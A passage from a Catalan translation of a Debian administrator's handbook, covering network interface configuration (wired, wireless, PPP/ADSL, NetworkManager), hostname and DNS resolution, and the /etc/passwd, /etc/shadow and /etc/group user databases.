Per a fitxers de text simples, podeu utilitzar el recode (al paquet del mateix nom) que permet la recodificació automàtica. Aquesta eina té nombroses opcions per poder jugar amb el seu comportament. Us recomanem consultar la documentació, la pàgina man recode(1), o la pàgina info de recod (més completa). Com a alternativa, iconv suporta més jocs de caràcters però té menys opcions.

8.2. Configurar la xarxa

TORNAR A LES BASES Conceptes de xarxa essenciales (Ethernet, adreça IP, subxarxa, difusió)

La majoria de les xarxes locals modernes utilitzen el protocol Ethernet, on les dades es divideixen en petits blocs anomenats trames («frames») i es transmeten pel cable d'un en un. Les velocitats de dades varien de 10 Mb/s per a targetes Ethernet més antigues a 100 Gb/s en les targetes més noves (amb la taxa més comuna que actualment creix de 100 Mb/s a 10 Gb/s). Els cables més utilitzats s'anomenen 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T i 40GBASE-T, depenent del rendiment que poden proporcionar de manera fiable (la T significa “parell trenat”); aquests cables acaben en un connector RJ45. Hi ha altres tipus de cable, utilitzats principalment per a velocitats de 10 Gb/s i superiors.

Una adreça IP és un número utilitzat per identificar una interfície de xarxa en un ordinador en una xarxa local o a Internet. En la versió actualment més estesa d'IP (IPv4), aquest nombre està codificat en 32 bits, i normalment es representa com 4 nombres separats per punts (p. ex. 192.168.0.1), cada nombre va entre 0 i 255 (inclosos, que correspon a 8 bits de dades). La següent versió del protocol, IPv6, estén aquest espai d'adreçament a 128 bits, i les adreces es representen generalment com una sèrie de nombres hexadecimals separats per dos punts (p. ex., 2001:0db8:13bb:0002:0000:0000:0000:0020, o 2001:db8:13bb:2::20 per abreujar).

Una màscara de subxarxa (màscara de xarxa) defineix en el seu codi binari quina part d'una adreça IP correspon a la xarxa, i la resta n'especifica la màquina. A l'exemple de configurar una adreça IPv4 estàtica donada aquí, la màscara de subxarxa, 255.255.255.0 (24 “uns” seguit de 8 “zeros” en representació binària) indica que els primers 24 bits de l'adreça IP corresponen a l'adreça de xarxa, i els altres 8 són específics de la màquina. En IPv6, per a llegibilitat, només s'expressa el nombre d'“uns”; la màscara de xarxa per a una xarxa IPv6 podria ser, per tant, 64.

L'adreça de xarxa és una adreça IP en la qual la part que descriu el número de la màquina és 0. El rang d'adreces IPv4 en una xarxa completa sovint s'indica amb la sintaxi a.b.c.d/e, en què a.b.c.d és l'adreça de xarxa i e és el nombre de bits afectats a la part de xarxa en una adreça IP. La xarxa d'exemple s'escriurà així: 192.168.0.0/24. La sintaxi és similar en IPv6: 2001:db8:13bb:2::/64.

Un encaminador («router» en anglès) és una màquina que connecta diverses xarxes entre elles. Tot el trànsit que passa per un encaminador es guia cap a la xarxa correcta. Per fer-ho, l'encaminador analitza els paquets entrants i els redirigeix segons l'adreça IP de la seva destinació. L'encaminador sovint es coneix com a passarel·la («gateway» en anglès); en aquesta configuració, funciona com una màquina que ajuda a arribar més enllà d'una xarxa local (cap a una xarxa estesa, com ara Internet).

L'adreça de difusió (o «broadcast») especial connecta totes les estacions d'una xarxa. Gairebé mai “encaminada”, només funciona a la xarxa en qüestió. Concretament, significa que un paquet de dades adreçat la difusió mai passarà per l'encaminador.

Aquest capítol se centra en les adreces IPv4, ja que actualment són les més utilitzades. Els detalls del protocol IPv6 seran tractats a Secció 10.6, «IPv6», però els conceptes segueixen sent els mateixos.

La xarxa es configura automàticament durant la instal·lació inicial. Si s'instal·la el Network Manager (que és generalment el cas en les instal·lacions d'escriptori complet), llavors podria ser que no es requereixi cap configuració (per exemple, si us baseu en DHCP amb una connexió per cable i no teniu requisits específics). Si es requereix configurar (per exemple, per a una interfície WiFi), llavors es crearà el fitxer apropiat a /etc/NetworkManager/system-connections/.

NOTA NetworkManager

Si el Network Manager és especialment recomanat en configuracions d'itinerància (vegeu Secció 8.2.5, «Configuració automàtica de la xarxa per a usuaris itinerants»), també és perfectament utilitzable com a eina de gestió de xarxa per defecte. Podeu crear «connexions del sistema» que s'utilitzen tan aviat com l'ordinador arrenca manualment amb un fitxer .ini a /etc/NetworkManager/system-connections/ o a través d'una eina gràfica (nm-connection-editor). Si esteu utilitzant l'ifupdown, recordeu desactivar les entrades a /etc/network/interfaces que voleu que gestioni el Network Manager.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

Si el Network Manager no està instal·lat, llavors l'instal·lador configurarà ifupdown creant el fitxer /etc/network/interfaces. Una línia que comença amb auto proporciona una llista d'interfícies que es configuraran automàticament a l'arrencada pel servei networking. Quan hi ha moltes interfícies, és una bona pràctica mantenir la configuració en diferents fitxers dins d'/etc/network/interfaces.d/ com es descriu a la barra lateral TORNAR A LES BASES Directoris acabats en .d.

En un context de servidor, ifupdown és, per tant, l'eina de configuració de xarxa que normalment tindreu. Per aquest motiu l'abordarem en les següents seccions. Per a més informació sobre la sintaxi del fitxer de configuració, llegiu interfaces(5).

8.2.1. Interfície Ethernet

Si l'ordinador té una targeta Ethernet, la xarxa IP que hi està associada s'ha de configurar triant un d'entre dos mètodes. El mètode més senzill és la configuració dinàmica amb DHCP, i requereix un servidor DHCP a la xarxa local. Pot indicar un nom d'amfitrió («hostname») desitjat, corresponent a la configuració del hostname a l'exemple següent. El servidor DHCP envia els paràmetres de configuració per a la xarxa apropiada.

Exemple 8.1. Configuració DHCP

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

A LA PRÀCTICA Noms de les interfícies de xarxa

Per defecte, el nucli atribueix noms genèrics com eth0 (per a Ethernet amb cable) o wlan0 (per a WiFi) a les interfícies de xarxa. El nombre en aquests noms és un simple comptador incremental que representa l'ordre en què s'han detectat. Amb maquinari modern, aquest ordre (com a mínim en teoria) pot canviar a cada reinici i, per tant, els noms per defecte no són fiables.

Afortunadament, systemd i udev poden canviar el nom de les interfícies tan aviat com es detectin. La política de noms per defecte està definida per /lib/systemd/network/99-default.link (vegeu systemd.link(5) per a una explicació de l'entrada NamePolicy en aquest fitxer). A la pràctica, els noms es basen sovint en la ubicació física del dispositiu (com s'entén per on estan connectats) i veureu noms que comencen amb en per a ethernet per cable i wl per a WiFi. En l'exemple anterior, la resta del nom indica, de forma abreujada, un bus PCI (p), el seu número (0), un nombre de ranura (s31), un número de funció (f6). D'aquesta manera el nom esdevé predictible.

Òbviament, s'és lliure de substituir aquesta política i/o complementar-la per personalitzar els noms d'algunes interfícies específiques. Podeu trobar els noms de les interfícies de xarxa a la sortida d'ip addr (o com a noms de fitxer a /sys/class/net/).

En alguns casos específics podria ser necessari desactivar la denominació predictible dels dispositius de xarxa com s'ha descrit anteriorment. A més de canviar la regla per defecte d'udev, també és possible arrencar el sistema utilitzant per aconseguir-ho els paràmetres del nucli net.ifnames=0 (restaura el comportament per defecte del nucli) i biosdevname=0.

El predecessor de l'esquema de noms predictibles es va anomenar “esquema de noms persistents”. Es va fer usant una regla udev per assignar el nom del dispositiu basat en l'adreça MAC. Aquest esquema ha estat abandonat i amb el llançament de Debian 10 Buster els usuaris han estat encoratjats a migrar a noms de dispositius de xarxa predictibles.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

Una configuració “estàtica” ha d'indicar la configuració de xarxa d'una manera fixa. Això inclou almenys l'adreça IP i la màscara de subxarxa; les adreces de xarxa i de difusió també es llisten de vegades. S'especificarà com a «gateway» un encaminador que connecta amb l'exterior.

Exemple 8.2. Configuració estàtica

auto enp0s31f6 iface enp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

NOTA Adreces múltiples

No només és possible associar diverses interfícies a una targeta de xarxa física única, sinó també diverses adreces IP a una sola interfície. Per assignar-les, només cal crear diverses entrades iface per a un mateix dispositiu. Recordeu també que una adreça IP pot correspondre a qualsevol nombre de noms via DNS, i que un nom també pot correspondre a qualsevol nombre d'adreces IP numèriques.

Com podeu endevinar, les configuracions poden ser bastant complexes, però aquestes opcions només s'utilitzen en casos molt especials. Els exemples citats aquí són típics de les configuracions habituals.

8.2.2. Interfície sense fils

Aconseguir que les targetes de xarxa sense fils funcionin pot ser una mica més exigent. En primer lloc, sovint requereixen la instal·lació de microprogramari propietari que no estan instal·lats per defecte a Debian. Llavors les xarxes sense fil depenen de la criptografia per restringir l'accés només als usuaris autoritzats, això implica emmagatzemar alguna clau secreta a la configuració de la xarxa. Abordem aquests temes d'un en un.

8.2.2.1. Instal·lació de microprogramaris necessaris

Primer heu d'habilitar el repositori no lliure «non-free» al fitxer sources.list d'APT: consulteu Secció 6.1, «Omplint el fitxer sources.list» per als detalls sobre aquest fitxer. Molts microprogramaris («firmware») són propietaris i, per tant, es troben en aquest repositori. Podeu intentar ometre aquest pas si voleu, però si el següent pas no troba el microprogramari requerit, torneu-ho a provar després d'haver activat la secció no lliure .

Després heu d'instal·lar els paquets microprogramari firmware-* adequats. Si no sabeu quin paquet necessiteu, podeu instal·lar el paquet isenkram i executar la seva ordre isenkram-autoinstall-firmware. Els paquets sovint reben el nom del fabricant de maquinari o del mòdul del nucli corresponent: firmware-iwlwifi per a targetes sense fils Intel, firmware-atheros per a Qualcomm Atheros, firmware-ralink per a Ralink, etc. Llavors es recomana reiniciar perquè el controlador del nucli normalment cerca els fitxers de microprogramari quan es carrega per primera vegada i no pas després.

8.2.2.2. Entrades sense fils específiques a /etc/network/interfaces

ifupdown és capaç de gestionar les interfícies sense fil, però necessita l'ajuda del paquet wpasupplicant que proporciona la integració necessària entre ifupdown i l'ordre wpa_supplicant utilitzada per configurar les interfícies sense fil (quan s'utilitza encriptació WPA/WPA2). L'entrada típica a /etc/network/interfaces s'ha d'estendre amb dos paràmetres addicionals per especificar el nom de la xarxa sense fil (també conegut com a SSID) i la clau precompartida (en anglès «Pre-Shared Key» o PSK).

Exemple 8.3. Configuració de DHCP per a una interfície sense fils

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

El paràmetre wpa-psk pot contenir la contrasenya en text a la vista o la seva versió hashed generada amb wpa_passphrase SSID contrasenya. Si utilitzeu una connexió sense fils no encriptada, hauríeu de posar una entrada wpa-key-mgmt NONE en lloc de l'entrada wpa-psk. Per obtenir més informació sobre les possibles opcions de configuració, consulteu /usr/share/doc/wpasupplicant/README. Debian.gz.

En aquest punt, hauríeu de considerar restringir els permisos de lectura a /etc/network/interfaces a només l'usuari «root» perquè el fitxer conté una clau privada a la qual no tots els usuaris hi haurien de tenir accés.

HISTÒRIA Encriptació WEP

L'ús del protocol d'encriptació WEP obsolet és possible amb el paquet wireless-tools. Vegeu les instruccions a /usr/share/doc/wireless-tools/README.Debian.

8.2.3. Connectar amb PPP a través d'un mòdem PSTN

Una connexió punt a punt (PPP) estableix una connexió intermitent; aquesta és la solució més comuna per a les connexions fetes amb un mòdem telefònic ("Mòdem PSTN", ja que la connexió passa a través de la xarxa de telefonia pública commutada).

Una connexió amb mòdem telefònic requereix un compte amb un proveïdor d'accés, incloent un número de telèfon, nom d'usuari, contrasenya i, de vegades, el protocol d'autenticació que s'utilitzarà. Aquesta connexió es configura utilitzant l'eina pppconfig al paquet Debian amb el mateix nom. Per defecte, configura una connexió anomenada provider (com a proveïdor, «provider» en anglès, de serveis d'Internet). Quan hi hagi dubtes sobre el protocol d'autenticació, trieu PAP: és ofert per la majoria dels proveïdors de serveis d'Internet.

Després de la configuració, és possible connectar utilitzant l'ordre pon (donant-li el nom de la connexió com a paràmetre, quan el valor predeterminat de provider no sigui l'apropiat). L'enllaç es desconnecta amb l'ordre poff. Aquestes dues ordres poden ser executades per l'usuari «root», o per qualsevol altre usuari, sempre que estigui al grup dip.

8.2.4. Connectar a través d'un mòdem ADSL

El terme genèric “mòdem ADSL” cobreix una multitud de dispositius amb funcions molt diferents. Els mòdems que són més senzills d'utilitzar amb Linux són aquells que tenen una interfície Ethernet (i no només una interfície USB). Aquests tendeixen a ser populars; la majoria dels proveïdors de serveis d'Internet ADSL presten (o lloguen) una “caixa” amb interfícies Ethernet. Depenent del tipus de mòdem, la configuració necessària pot variar àmpliament.

8.2.4.1. Mòdems que permeten PPPOE

Alguns mòdems Ethernet funcionen amb el protocol PPPOE («Point to Point Protocol over Ethernet» o “Protocol Punt a Punt sobre Ethernet”). L'eina pppoeconf (del paquet amb el mateix nom) configurarà la connexió. Per fer-ho, es modifica el fitxer /etc/ppp/peers/dsl-provider amb la configuració proporcionada i es registra la informació d'inici de sessió als fitxers /etc/ppp/pap-secrets i /etc/ppp/chap-secrets. Es recomana acceptar totes les modificacions que proposa.

Una vegada completada aquesta configuració, podeu obrir la connexió ADSL amb l'ordre pon dsl-provider i desconnectar-vos amb poff dsl-provider.

SUGGERIMENT Iniciar ppp a l'arrencada

Les connexions PPP sobre ADSL són, per definició, intermitents. Atès que normalment no són facturats segons el temps, hi ha pocs desavantatges en la temptació de mantenir-les sempre obertes. El mitjà estàndard per a fer-ho és utilitzar el sistema d'inici.

Amb systemd, afegir una tasca de reinici automàtic per a la connexió ADSL és qüestió simplement de crear un “fitxer d'unitat” («unit file») com ara /etc/systemd/system/adsl-connection.service, amb un contingut com el següent:

[Unit] Description=connexió ADSL [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

Una vegada definit aquest fitxer d'unitat, s'ha d'habilitar amb systemctl enable adsl-connection. Llavors el bucle es pot iniciar manualment amb systemctl start adsl-connection; i també s'iniciarà automàticament en arrencar.

En sistemes que no utilitzen systemd (incloent-hi Wheezy i versions anteriors de Debian), l'estàndard sistema d'inici de «SystemV» funciona de manera diferent. En aquests sistemes, tot el que es necessita és afegir una línia com la següent al final del fitxer /etc/inittab; llavors, cada vegada que es desconnecti la connexió, l'init la tornarà a establir.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Per a les connexions ADSL que es desconnecten automàticament cada dia, aquest mètode redueix la durada de la interrupció.

8.2.4.2. Mòdems compatibles amb PPTP

El protocol PPTP («Punt-to-Point Tunneling Protocol» o protocol de túnel punt a punt) va ser creat per Microsoft. Desplegat al principi de l'ADSL, va ser ràpidament substituït per PPPOE. Si esteu obligats a usar aquest protocol, consulteu. Secció 10.3.4, «PPTP».

8.2.4.3. Mòdems que admeten DHCP

Quan un mòdem està connectat a l'ordinador amb un cable Ethernet (cable creuat) normalment configureu una connexió de xarxa per DHCP a l'ordinador; el mòdem actua automàticament com una passarel·la per defecte i s'ocupa de l'encaminament (significant que gestiona el trànsit de xarxa entre l'ordinador i Internet).

TORNAR A LES BASES Cable creuat per a una connexió Ethernet directa

Les targetes de xarxa dels ordinadors esperen rebre dades sobre fils específics del cable i enviar les seves dades sobre altres. Quan connecteu un ordinador a una xarxa local, normalment connecteu un cable (recte o creuat) entre la targeta de xarxa i un repetidor o commutador. No obstant això, si voleu connectar dos ordinadors directament (sense un repetidor o un commutador intermedi), heu de redirigir el senyal enviat per una targeta al costat receptor de l'altra targeta, i viceversa. Aquest és el propòsit d'un cable creuat, i la raó per la qual s'utilitza.

Tingueu en compte que aquesta distinció ha esdevingut gairebé irrellevant amb el temps, ja que les targetes de xarxa modernes són capaces de detectar el tipus de cable present i adaptar-se en conseqüència, per la qual cosa no serà inusual que els dos tipus de cable funcionin en una ubicació donada.

La majoria dels “encaminadors ADSL” del mercat es poden utilitzar d'aquesta manera, igual que la majoria dels mòdems ADSL proporcionats pels proveïdors de serveis d'Internet.

8.2.5. Configuració automàtica de la xarxa per a usuaris itinerants

Molts enginyers de Falcot tenen un ordinador portàtil que, amb finalitats professionals, també utilitzen a casa. La configuració de xarxa que s'ha d'utilitzar difereix segons la ubicació. A casa, pot ser una xarxa wifi (protegida per una clau WPA), mentre que el lloc de treball s'utilitza una xarxa cablejada per a més seguretat i més amplada de banda.

Per evitar haver de connectar o desconnectar manualment les interfícies de xarxa corresponents, els administradors van instal·lar el paquet network-manager en aquestes màquines itinerants. Aquest programari permet a un usuari canviar fàcilment d'una xarxa a una altra utilitzant una petita icona que es mostra a l'àrea de notificació del seu escriptori gràfic. En fer clic en aquesta icona es mostra una llista de xarxes disponibles (tant amb com sense fil), de manera que simplement poden triar la xarxa que volen utilitzar. El programa desa la configuració de les xarxes a les quals l'usuari ja s'ha connectat, i automàticament canvia a la millor xarxa disponible quan la connexió actual cau.

Per tal de fer-ho, el programa està estructurat en dues parts: un dimoni que s'executa com a «root» gestiona l'activació i la configuració de les interfícies de xarxa, i una interfície d'usuari que controla aquest dimoni. PolicyKit gestiona les autoritzacions necessàries per controlar aquest programa i Debian va configurar PolicyKit de manera que els membres del grup netdev puguin afegir o canviar les connexions del Network Manager.

El Network Manager sap com gestionar diversos tipus de connexions (DHCP, configuració manual, xarxa local), però només si la configuració està establerta amb el propi programa. Per això ignorarà sistemàticament totes les interfícies de xarxa de /etc/network/interfaces i /etc/network/interfaces.d/ per a les quals no és adequat. Com que el Network Manager no dóna detalls quan no es mostren connexions de xarxa, la manera fàcil és suprimir de /etc/network/interfaces qualsevol configuració de totes les interfícies que han de ser gestionades pel Network Manager.

Tingueu en compte que aquest programa s'instal·la per defecte quan es tria la tasca “Entorn d'escriptori” durant la instal·lació inicial.

8.3. Configuració del nom de l'equip i configuració del servei de noms

El propòsit d'assignar noms a les adreces IP és fer-les més fàcils de recordar. En realitat, una adreça IP identifica una interfície de xarxa associada a un dispositiu com una targeta de xarxa. Com que cada màquina pot tenir diverses targetes de xarxa, i diverses interfícies a cada targeta, un sol ordinador pot tenir diversos noms en el sistema de noms de domini.

Cada màquina és, però, identificada per un nom principal (o “canònic”), emmagatzemada al fitxer /etc/hostname i comunicada al nucli de Linux per scripts d'inicialització a través de l'ordre hostname. El valor actual està disponible en un sistema de fitxers virtual, i el podeu obtenir amb l'ordre cat /proc/sys/kernel/hostname.

TORNAR A LES BASES/proc/ i /sys/, sistemes de fitxers virtuals

Els arbres de fitxers /proc/ i /sys/ són generats per sistemes de fitxers “virtuals”. Aquest és un mitjà pràctic per recuperar informació del nucli (llistant fitxers virtuals) i comunicar-s'hi (escrivint en fitxers virtuals).

/sys/ en particular està dissenyat per proporcionar accés a objectes interns del nucli, especialment aquells que representen els diversos dispositius del sistema. El nucli pot, per tant, compartir diverses peces d'informació: l'estat de cada dispositiu (per exemple, si està en mode d'estalvi d'energia), si és un dispositiu extraïble, etc. Tingueu en compte que /sys/ només ha existit des de la versió 2.6 del nucli. /proc/ descriu l'estat actual del nucli: els fitxers d'aquest directori contenen informació sobre els processos que s'executen al sistema i el seu maquinari.

Sorprenentment, el nom de domini no es gestiona de la mateixa manera, sinó que prové del nom complet de la màquina, adquirit per resolució de noms. Podeu canviar-ho al fitxer /etc/hosts; simplement escriviu un nom complet per a la màquina al principi de la llista de noms associats amb l'adreça de la màquina, com en el següent exemple:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Resolució de noms

El mecanisme de resolució de noms en Linux és modular i pot utilitzar diverses fonts d'informació declarades al fitxer /etc/nsswitch.conf. L'entrada que implica la resolució del noms és hosts. Per defecte, conté files dns, que significa que el sistema consulta primer el fitxer /etc/hosts, i després els servidors DNS. Els servidors de NIS/NIS+ o d'LDAP són altres fonts possibles.

NOTA NSS i DNS

Tingueu en compte que les ordres específicament destinades a consultar el DNS (especialment host) no utilitzen el mecanisme de resolució de noms estàndard (NSS). Com a conseqüència, no tenen en compte /etc/nsswitch.conf i, per tant, tampoc /etc/hosts.

8.3.1.1. Configurar els servidors de DNS

DNS (Servei de Noms de Domini o «Domain Name Service» en anglès) és un servei distribuït i jeràrquic que relaciona noms amb adreces IP i viceversa. Específicament, pot convertir un nom entenedor com ara www.eyrolles.com en l'adreça IP real, 213.244.11.247.

Per accedir a la informació del DNS, un servidor de DNS ha d'estar disponible per a redireccionar les peticions. Falcot Corp té el seu propi, però un usuari individual és més probable que utilitzi els servidors de DNS proporcionats pel seu ISP.

Els servidors de DNS que s'utilitzaran s'indiquen a /etc/resolv.conf, un per línia, amb la paraula clau nameserver precedint una adreça IP, com en el següent exemple:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

Tingueu en compte que el fitxer /etc/resolv.conf es pot gestionar automàticament (i ser sobreescrit) quan la xarxa és gestionada pel NetworkManager o configurada a través de DHCP, o quan resolvconf està instal·lat o systemd-resolved(8) està habilitat.

8.3.1.2. El fitxer /etc/hosts

Si no hi ha cap servidor de noms a la xarxa local, encara és possible establir una taula petita relacionant adreces IP i noms de màquina al fitxer /etc/hosts, normalment reservat per a les estacions de xarxa locals. La sintaxi d'aquest fitxer tal com es descriu a hosts(5) és molt simple: cada línia indica una adreça IP específica seguida de la llista de noms associats (essent el primer “completament qualificat”, el que significa que inclou el nom de domini).

Aquest fitxer està disponible fins i tot durant les interrupcions de la xarxa o quan els servidors de DNS no són accessibles, però només serà útil quan estigui replicat a totes les màquines de la xarxa. La mínima alteració de la correspondència exigirà que l'arxiu s'actualitzi a tot arreu. Per això /etc/hosts generalment només conté les entrades més importants.

Aquest fitxer serà suficient per a una petita xarxa no connectada a Internet, però amb 5 màquines o més, es recomana instal·lar un servidor de DNS adequat.

SUGGERIMENT Ometre el DNS

Atès que les aplicacions comproven el fitxer /etc/hosts abans de consultar el DNS, és possible incloure-hi informació que sigui diferent del que el DNS retornaria, i per tant passar per alt la resolució de noms basada en DNS normal.

Això permet, en cas de canvis DNS que encara no s'han propagat, provar l'accés a un lloc web amb el nom conegut, fins i tot si aquest nom encara no està correctament associat a l'adreça IP correcta.

Un altre ús possible és redirigir el trànsit destinat a un amfitrió específic a l'amfitrió local, evitant així qualsevol comunicació amb l'amfitrió donat. Per exemple, els noms de servidors dedicats a servir anuncis podrien ser desviats de manera que passarien per alt aquests anuncis i resultarien en una navegació més fluida i amb menys distraccions.

8.4. Bases de dades d'usuaris i de grups

La llista d'usuaris s'emmagatzema normalment al fitxer /etc/passwd, mentre que el fitxer /etc/shadow emmagatzema les contrasenyes xifrades («hashed»). Tots dos són fitxers de text, en un format relativament senzill, que es poden llegir i modificar amb un editor de text. Cada usuari apareix en una línia amb diversos camps separats per dos punts (“:”).

NOTA Editar fitxers del sistema

Els fitxers de sistema esmentats en aquest capítol són tots fitxers de text pla, i es poden editar amb un editor de text. Tenint en compte la seva importància a la funcionalitat del sistema principal, sempre és una bona idea prendre precaucions addicionals quan s'editen els fitxers del sistema. Primer, sempre feu una còpia o una còpia de seguretat d'un fitxer de sistema abans d'obrir-lo o alterar-lo. En segon lloc, en servidors o màquines on més d'una persona podria accedir al mateix fitxer al mateix temps, feu passos addicionals per protegir-vos de la corrupció de fitxers.

Per a aquest propòsit, és suficient utilitzar l'ordre vipw per editar el fitxer /etc/passwd, o vigr per editar /etc/group. Aquestes ordres bloquegen el fitxer en qüestió abans d'executar l'editor de text, (per defecte vi, tret que s'hagi alterat la variable d'entorn EDITOR). L'opció -s en aquestes ordres permet editar el fitxer shadow corresponent.

TORNAR A LES BASES Crypt, una funció d'un sol sentit

crypt és una funció d'un sol sentit que transforma una cadena (A) en una altra cadena (B) d'una manera que A no es pot derivar de B. L'única manera d'identificar A és provar tots els valors possibles, comprovant cada un per determinar si la transformació per la funció produirà B o no. Utilitza fins a 8 caràcters com a entrada (cadena A) i genera una cadena de 13 caràcters ASCII (cadena B).

8.4.1. Llista d'usuaris: /etc/passwd

Aquesta és la llista de camps del fitxer /etc/passwd:

nom d'usuari, per exemple rhertzog;

password: és una contrasenya xifrada per una funció d'un sol sentit (crypt), que es basa en DES, MD5, SHA-256 o SHA-512. El valor especial “x” indica que la contrasenya encriptada s'emmagatzema a /etc/shadow;

uid: número únic que identifica cada usuari;

gid: número únic per al grup principal de l'usuari (Debian crea per defecte un grup específic per a cada usuari);

GECOS: camp de dades que normalment conté el nom complet de l'usuari;

directori d'inici de sessió, assignat a l'usuari per a l'emmagatzematge dels seus fitxers personals (la variable d'entorn $HOME generalment apunta aquí);

programa a executar en iniciar la sessió. Normalment es tracta d'un intèrpret d'ordres («shell»), que dóna llibertat a l'usuari. Si especifiqueu /bin/false (que no fa res i retorna el control immediatament), l'usuari no podrà iniciar la sessió.

Com s'ha dit abans es pot modificar aquest fitxer directament. No obstant això, hi ha maneres més elegants d'aplicar-hi canvis, i que es descriuen a Secció 8.4.3, «Modificar un compte o contrasenya ja existents».

TORNAR A LES BASES grup Unix

Un grup Unix és una entitat que inclou diversos usuaris perquè puguin compartir fàcilment fitxers utilitzant el sistema de permisos integrat (beneficiant-se dels mateixos drets). També podeu restringir l'ús de certs programes a un grup específic.

8.4.2. El fitxer de les contrasenyes ocultes i encriptades: /etc/shadow

El fitxer /etc/shadow conté els següents camps:

usuari;

contrasenya encriptada;

diversos camps que gestionen el venciment de la contrasenya.

Es poden fer expirar les contrasenyes utilitzant aquest fitxer o establint el moment fins que el compte quedi desactivat després que la contrasenya hagi expirat.

SEGURETAT La seguretat del fitxer /etc/shadow

/etc/shadow, a diferència del seu alter-ego, /etc/passwd, no pot ser llegit per usuaris normals. Qualsevol contrasenya xifrada («hashed») emmagatzemada a /etc/passwd és accessible per tothom; un «cracker» podria intentar “trencar” (o revelar) una contrasenya usant un dels diversos mètodes de “força bruta” que, per dir-ho simplificadament, la proven d'endevinar usant combinacions habituals de caràcters. Aquest atac — anomenat “atac de diccionari” — ja no és possible en sistemes que utilitzen /etc/shadow.

DOCUMENTACIÓ Els formats dels fitxers /etc/passwd, /etc/shadow i /etc/group

Aquests formats estan documentats en les següents pàgines man: passwd(5), shadow(5), i group(5).

8.4.3. Modificar un compte o contrasenya ja existents

Les següents ordres permeten la modificació de la informació emmagatzemada en camps específics de les bases de dades d'usuari: passwd permet a un usuari normal canviar la seva contrasenya, que al seu torn, actualitza el fitxer /etc/shadow (chpasswd permet als administradors actualitzar de cop les contrasenyes d'una llista d'usuaris); chfn («CHange Full Name» en anglès o “Canvia el nom complet”), reservat per al superusuari («root»), modifica el camp GECOS. chsh (de l'anglès «CHange SHell») permet a l'usuari canviar el seu intèrpret d'entrada; no obstant això, les opcions disponibles es limitaran a les llistades a /etc/shells; l'administrador, d'altra banda, no està vinculat per aquesta restricció i pot establir la «shell» a qualsevol programa de la seva elecció.

Finalment, l'ordre chage (de l'anglès «CHange AGE») permet a l'administrador canviar la configuració del venciment de la contrasenya (l'opció -l usuari llistarà la configuració actual). També podeu forçar l'expiració d'una contrasenya utilitzant l'ordre passwd -e usuari, que requerirà que l'usuari canviï la seva contrasenya la pròxima vegada que iniciï sessió.

A més d'aquestes eines, l'ordre usermod permet modificar tots els detalls esmentats anteriorment.

8.4.4. Desactivar un compte

Podeu trobar-vos amb la necessitat de “desactivar un compte” (bloquejar un usuari), com a mesura disciplinària, per a una investigació, o simplement en el cas d'una absència prolongada o definitiva d'un usuari. Un compte inhabilitat significa que l'usuari no pot entrar o accedir a la màquina. El compte roman intacte a la màquina i no se suprimeix cap fitxer o dada; simplement és inaccessible. Això s'aconsegueix utilitzant l'ordre passwd -l usuari («lock» o bloquejar). Tornar a activar el compte es fa de manera similar, amb l'opció -u («unlock» o desbloquejar). Això, però, només impedeix que l'usuari iniciï la sessió amb contrasenya. L'usuari encara pot accedir al sistema mitjançant una clau SSH (si està configurat). Per evitar aquesta possibilitat, també heu de fer expirar el compte fent servir chage -E 1 usuari o usermod -e 1 usuari (donant un valor de -1 en qualsevol d'aquestes ordres es fixarà la data de caducitat a mai). Per a desactivar (temporalment) tots els comptes d'usuari només cal crear el fitxer /etc/nologin.

Podeu desactivar un compte d'usuari no només bloquejant-lo com s'ha descrit anteriorment, sinó també canviant el seu intèrpret d'ordres d'inici de sessió predeterminat (chsh -s intèrpret usuari). Amb el primer paràmetre a /usr/sbin/nologin, un usuari obté un missatge cortès informant que no és possible l'inici de sessió, mentre que /bin/false només acaba al temps que retorna false. No hi ha manera per a restaurar l'intèrpret d'ordres anterior. Heu d'obtenir i mantenir aquesta informació abans de canviar la configuració. Aquests intèrprets d'ordres s'utilitzen sovint per a usuaris del sistema que no requereixen cap necessitat d'inici de sessió.

ANANT MÉS ENLLÀ NSS i les bases de dades de sistema

En lloc d'utilitzar els fitxers habituals per gestionar llistes d'usuaris i grups, podeu utilitzar altres tipus de bases de dades, com LDAP o db, utilitzant un mòdul NSS («Name Service Switch» o commutador de servei de noms) adequat. Els mòduls utilitzats es llisten al fitxer /etc/nsswitch.conf, sota les entrades passwd, shadow i group. Vegeu Secció 11.7.3.1, «Configuració del NSS» per a un exemple específic de l'ús d'un mòdul NSS per LDAP.

8.4.5. Llista de grups: /etc/group

Els grups estan llistats al fitxer /etc/group, una simple base de dades en text pla en un format similar al del fitxer /etc/passwd, amb els següents camps:

nom del grup;

contrasenya (opcional): només s'utilitza per unir-se a un grup quan un no és un membre habitual (amb les ordres newgrp o sg, vegeu la barra lateral TORNAR A LES BASES Treballar amb diversos grups);

gid: número únic d'identificació de grup;

llista de membres: llista de noms d'usuaris que són membres del grup, separats per comes.

TORNAR A LES BASES Treballar amb diversos grups

Cada usuari pot ser membre de molts grups; un d'ells és el seu “grup principal”. El grup principal d'un usuari es crea, per defecte, durant la configuració inicial de l'usuari. Per defecte, cada fitxer que crea un usuari li pertany, així com també al seu grup principal. Això no sempre és desitjable; per exemple, quan l'usuari necessita treballar en un directori compartit per un grup diferent del seu grup principal. En aquest cas, l'usuari ha de canviar el seu grup principal utilitzant una de les següents ordres: newgrp, que inicia un intèrpret d'ordres nou, o sg, que simplement executa una ordre utilitzant el grup alternatiu subministrat. Aquestes ordres també permeten a l'usuari unir-se a un grup al qual no pertany. Si el grup està protegit amb contrasenya, hauran de proporcionar la contrasenya adequada abans d'executar l'ordre.

